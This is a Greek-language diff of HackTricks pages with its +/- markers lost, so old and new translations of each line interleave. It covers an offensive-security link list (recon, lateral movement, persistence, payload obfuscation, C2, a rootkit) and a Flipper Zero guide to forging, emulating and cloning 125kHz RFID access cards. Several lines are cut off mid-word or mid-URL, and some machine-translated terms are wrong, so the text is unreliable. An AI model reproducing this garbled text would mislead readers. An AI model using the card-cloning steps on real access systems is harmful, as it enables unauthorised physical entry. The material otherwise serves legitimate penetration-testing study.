* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,24 +1,28 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# BlueTeam
* [https://github.com/yarox24/attack\_monitor](https://github.com/yarox24/attack\_monitor)
* [https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/](https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/)
* [https://github.com/ION28/BLUESPAWN](https://github.com/ION28/BLUESPAWN)
* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : Έλεγχος αποκαλυφθέντων λογαριασμών
* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : Ελέγξτε διαρρεύσεις λογαριασμών
* [https://github.com/rabobank-cdc/DeTTECT](https://github.com/rabobank-cdc/DeTTECT)
# OSINT
@ -49,38 +53,44 @@
* [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear)
* [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/)
* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Επίθεση brute force σε ονόματα τομέων ασύγχρονα
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Επίθεση brute force σε υποτομέους
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Έλεγχος εάν οι διακομιστές ιστού σε έναν τομέα είναι προσβάσιμοι
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Επίθεση βίας στα ονόματα τομέων ασύγχρονα
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Επίθεση βίας στα υποτομέα
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Έλεγχος προσβάσιμων διακομιστών ιστού σε έναν τομέα
* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : Ανακάλυψη υποτομέων
* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : Ανακάλυψη υποτομέων στο github
* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Γρήγορη σάρωση θυρών
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Υποτομέοι και URLs από αρχεία JS σε έναν ιστό
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Υποτομέας και διευθύνσεις URL από αρχεία JS σε έναν ιστό
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Λεξικό αρχείων ιστού
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : Επέκταση Burp για να αποφεύγονται δεκάδες καρτέλες repeater
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Απόκτηση πόρων
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : Επέκταση Burp για να αποφύγετε δεκάδες επαναλαμβανόμενες καρτέλες repeater
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Απόκτηση περιουσιών
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Έλεγχος BugBounty ιστοσελίδων
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Έλεγχος μιας λίστας τ
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Έλεγχος μιας λίστας τομέων εναντίον Ανοικτής Ανακατεύθυνσης
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Πρόσθετο Burp, ανάλυση εκτός σύνδεσης για ανακάλυψη τομέων, υποτομέων και IP
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): Λίστα διαφορετικών εργαλείων
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Πρόσθετο BurpSuite για εύρεση ευπάθειών (SQLi, XSS, SSTI)
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Επέκταση Chrome για την παρακολούθηση λειτουργιών post-messages
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Αυτόματες δοκιμές πιστοποίησης (αφαίρεση cookies και προσπάθεια αποστολής του αιτήματος)
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): Το XRCross είναι ένα εργαλείο ανακατασκευής, σάρωσης και εργαλείο για δοκιμές διείσδυσης / BugBounty. Αυτό το εργαλείο κατασκευάστηκε για να ελέγξει ευπάθειες (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI)
# Windows
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Πλευρικές κινήσεις
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Πλευρικές μετακινήσεις
* [https://freddiebarrsmith.com/trix/trix.html](https://freddiebarrsmith.com/trix/trix.html) : LOL bins
* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Μόνιμη παραμονή
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Τεχνικές εισαγωγής διεργασιών στα Windows
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Τεχνικές εισαγωγής διεργασιών Windows
* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Σενάρια Red Team
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : εύρεση σφαλμάτων ασφαλείας στην παραμετροποίηση της ομάδας πολιτικής Active Directory.
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Απόκρυψη Securestring
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Πλαστογράφηση Parent PID
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Κρυπτογράφηση Powershell payloads
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : εντοπίστε ασφαλιστικές σχετικές ατέλειες στην πολιτική ομάδας Active Directory.
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Ασφάλεια της συμβολοσειράς
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Παραπλανητική ταυτότητα PID γονέα
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Κρυπτογραφήστε φορτία Powershell
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : Stealth C2
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Σειρά αρχείων καταγραφής σχετικά με τα εσωτερικά των Windows
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Παρακολούθηση ποιος ανοίγει ένα έγγραφο
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Φύλλο απατηλής χρήσης Active Directory
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Σειρά καταγραφών σχετικά με τα εσωτερικά των Windows
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Καταγράψτε ποιος άνοιξε ένα έγγραφο
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Φύλλο απάτης εκμετάλλευσης Active Directory
# Firmware
Εργαλεία που μπορεί να είναι χρήσιμα για την ανάλυση firmware (αυτόματα):
Εργαλεία που μπορεί να είναι ενδιαφέροντα για την ανάλυση firmware (αυτόματα):
* [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker)
* [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT\_core)
@ -91,15 +101,15 @@
* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
Πώς να εξαγάγετε firmware αν δεν το βρείτε online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
Πώς να εξάγετε firmware αν δεν το βρείτε online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
Ένα firmware με ευπάθειες για ανάλυση: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
Εδώ ένα firmware με ευπάθειες για ανάλυση: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
και εδώ η μεθοδολογία owasp για την ανάλυση firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
και εδώ η μεθοδολογία owasp για ανάλυση firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
Προσομοίωση firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) είναι μια πλατφόρμα για την αυτοματοποίηση της προσομοίωσης και της δυναμικής ανάλυσης firmware βασισμένων σε Linux.
Προσομοίωση firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) είναι μια πλατφόρμα για την αυτοματοποίηση της προσομοίωσης και δυναμικής ανάλυσης firmware βασισμένης σε Linux.
# Άλλα
# OTHER
* [https://twitter.com/HackAndDo/status/1202695084543791117](https://twitter.com/HackAndDo/status/1202695084543791117)
* [https://github.com/weev3/LKWA](https://github.com/weev3/LKWA)
@ -107,13 +117,34 @@
* [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw)
* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : Στατική ανάλυση κώδικα
* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit που στέλνει αργά ένα ατέλειωτο banner.
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit που στέλνει αργά ένα ατέλεσμα banner.
* Εργαλεία AWS και Cloud: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
* IFS (Interplanetary File System) για phising: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
* IFS (Interplanetary File System) για phishing: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
* Υπηρεσίες περιστροφής IP: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
* Linux rootkit: [https://github.com
* Ανακαλύψτε την [**οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετέχετε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
* [https://theia-ide.org/](https://theia-ide.org) : Online IDE
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : Πόροι για αρχάριους κυνηγούς ευρημάτων ευπρεπείας
* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : Εργαλεία IOS pentesting
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Λέξεις-κλειδιά
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Hacking IoT (Wifi, BLE, SSDP, MDNS)
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : αυτοματοποίηση σάρωσης
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Αυτή η λίστα στοχεύει να καλύψει θέματα ασφάλειας Electron.js.
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Πληροφορίες σχετικά με τα προγράμματα BB
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε την κακόβουλη εισβολή στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -2,21 +2,26 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρός Ομάδας HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης των HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε τα HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Εισαγωγή
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργούν οι ετικέτες 125kHz, ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργούν τα ετικέτες 125kHz, ελέγξτε:
{% content-ref url="../pentesting-rfid.md" %}
[pentesting-rfid.md](../pentesting-rfid.md)
@ -26,53 +31,58 @@
Για περισσότερες πληροφορίες σχετικά με αυτούς τους τύπους ετικετών [**διαβάστε αυτήν την εισαγωγή**](../pentesting-rfid.md#low-frequency-rfid-tags-125khz).
### Ανάγνωση
### Διάβασμα
Προσπαθεί να **διαβάσει** τις πληροφορίες της κάρτας. Στη συνέχεια, μπορεί να τις **εμούλευσει**.
Προσπαθεί να **διαβάσει** τις πληροφορίες της κάρτας. Στη συνέχεια μπορεί να τις **εμμιμητευτεί**.
{% hint style="warning" %}
Σημειώστε ότι ορισμένα συστήματα ασφαλείας προσπαθούν να προστατευθούν από την αντιγραφή κλειδιού αποστέλλοντας μια εντολή εγγραφής πριν από την ανάγνωση. Εάν η εγγραφή είναι επιτυχής, αυτή η ετικέτα θεωρείται ψεύτικη. Όταν το Flipper εμούλευσει RFID, δεν υπάρχει τρόπος για τον αναγνώστη να το διακρίνει από το αρχικό, οπότε δεν υπάρχουν τέτοια προβλήματα.
Σημειώστε ότι μερικά κουδούνια προσπαθούν να προστατευτούν από την αντιγραφή κλειδιών με την αποστολή εντολής εγγραφής πριν την ανάγνωση. Αν η εγγραφή επιτύχει, αυτή η ετικέτα θεωρείται ψεύτικη. Όταν το Flipper εμμιμείται RFID, δεν υπάρχει τρόπος για τον αναγνώστη να το διακρίνει από το πρωτότυπο, οπότε δεν προκύπτουν τέτοια προβλήματα.
{% endhint %}
### Προσθήκη Χειροκίνητα
Μπορείτε να δημιουργήσετε **ψεύτικες κάρτες στο Flipper Zero δηλώνοντας τα δεδομένα** χειροκίνητα και στη συνέχεια να τις εμούλευσετε.
Μπορείτε να δημιουργήσετε **ψεύτικες κάρτες στο Flipper Zero δείχνοντας τα δεδομένα** που εισάγετε χειροκίνητα και στη συνέχεια να τα εμμιμητευτείτε.
#### Αναγνωριστικά στις κάρτες
#### IDs στις κάρτες
Μερικές φορές, όταν πάρετε μια κάρτα, θα βρείτε το αναγνωριστικό (ή μέρος του) γραμμένο στην ορατή πλευρά της κάρτας.
Κάποιες φορές, όταν πάρετε μια κάρτα, θα βρείτε το ID (ή μέρος) του γραμμένο στην κάρτα ορατό.
* **EM Marin**
Για παράδειγμα, σε αυτήν την κάρτα EM-Marin, στη φυσική κάρτα είναι δυνατόν να **διαβάσετε τα τελευταία 3 από τα 5 bytes καθαρά**.\
Τα άλλα 2 μπορούν να ανακτηθούν με βίαιο τρόπο εάν δεν μπορείτε να τα διαβάσετε από την κάρτα.
Για παράδειγμα, σε αυτήν την κάρτα EM-Marin στη φυσική κάρτα είναι δυνατόν να **διαβάσετε τα τελευταία 3 από τα 5 bytes καθαρά**.\
Τα άλλα 2 μπορούν να αναγνωριστούν με βία αν δεν μπορείτε να τα διαβάσετε από την κάρτα.
<figure><img src="../../../.gitbook/assets/image (30).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
* **HID**
Το ίδιο συμβαίνει και σε αυτήν την κάρτα HID, όπου μόνο 2 από τα 3 bytes μπορούν να βρεθούν εκτυπωμένα στην κάρτα
Το ίδιο συμβαίνει σε αυτήν την κάρτα HID όπου μόνο 2 από τα 3 bytes μπορούν να βρεθούν εκτυπωμένα στην κάρτα
<figure><img src="../../../.gitbook/assets/image (15) (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1011).png" alt=""><figcaption></figcaption></figure>
### Εμούλευση/Εγγραφή
### Εμμιμητεύω/Εγγραφή
Μετά την **αντιγραφή** μιας κάρτας ή την **εισαγωγή** του αναγνωριστικού **χειροκίνητα**, είναι δυνατόν να την **εμούλευσετε** με το Flipper Zero ή να την **εγγράψετε** σε μια πραγματική κάρτα.
Μετά το **αντιγράφο** μιας κάρτας ή την **εισαγωγή** του ID **χειροκίνητα**, είναι δυνατόν να την **εμμιμητευτείτε** με το Flipper Zero ή να την **εγγράψετε** σε μια πραγματική κάρτα.
## Αναφορές
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρός Ομάδας HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης των HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε τα HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -4,14 +4,19 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
